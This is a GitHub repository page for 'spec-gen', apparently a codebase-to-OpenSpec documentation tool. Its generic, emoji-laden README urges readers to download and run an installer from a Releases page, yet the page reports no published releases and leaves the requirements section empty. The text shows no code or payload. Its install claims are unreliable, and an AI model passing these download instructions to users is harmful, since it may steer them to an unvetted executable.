Skip to content

HUGO9K/spec-gen

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

9 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ spec-gen - Automate Your Codebase Documentation

Download

πŸ“– Overview

spec-gen helps you turn your code into clear and structured documentation. With this tool, you can automate the reverse-engineering of your codebase into OpenSpec specifications. It uses static analysis and advanced AI to extract essential business logic, verify your software's architecture, and create a reliable source of truth.

  • Extract Business Logic: Understand how your code works.
  • Ensure Accuracy: Maintain architectural integrity.
  • Living Documentation: Keep your specifications up-to-date.

πŸš€ Getting Started

πŸ“₯ System Requirements

πŸ“¦ Download & Install

  1. Visit this page to download: Releases Page.

    On the Releases page, you will find the latest version of spec-gen. Look for the installation file that matches your operating system.

  2. After downloading, locate the file on your computer.

  3. Run the installer by double-clicking the file.

    Follow the on-screen instructions to complete the installation.

  4. Once installed, you can find spec-gen in your applications or programs list.

  5. Launch the application to start using it!

βš™οΈ Using spec-gen

πŸ› οΈ Key Features

  • Static Analysis: Analyze your existing codebase to produce accurate documentation.
  • LLM Integration: Utilize advanced AI features to enhance your documentation process.
  • Dependency Graph: Visualize dependencies within your software.
  • Versioning Support: Keep track of changes in your documentation as your code evolves.

πŸ“„ Creating Specifications

  1. Open the spec-gen application.
  2. Load your project directory by selecting it from the "Project" menu.
  3. Choose the "Generate Specification" option. This will analyze your code.
  4. Review the generated OpenSpec file, which will be saved in your project folder.

πŸ›‘οΈ Verification

After generating specifications, you can run the architectural verification tool:

  1. In the app, navigate to the "Verify Architecture" tab.
  2. Click on the "Run Verification" button.
  3. Review any suggestions or issues presented.

Address these points to maintain architectural accuracy in your development.

πŸ“ Documentation and Support

To enhance your experience with spec-gen, comprehensive documentation is available on our Wiki Page. You can find guides, troubleshooting tips, and FAQs.

For additional assistance, consider joining our community forum. Get help from fellow users and share your experiences.

πŸ’‘ Tips and Best Practices

  • Regularly update your documentation with each code change.
  • Use the verification feature consistently to ensure your architecture remains sound.
  • Explore different sections of the app to familiarize yourself with its capabilities.

πŸ”— Additional Resources

πŸ”„ Updates and Changelog

Stay tuned for future releases that will include even more features and improvements. Regularly check the Releases Page for the latest updates.

πŸŽ‰ Join the Community

Connect with other users to share tips and best practices for using spec-gen effectively. You can find us on various platforms to engage and discuss.

To download the software, visit: Download spec-gen.

Releases

No releases published

Packages

 
 
 

Contributors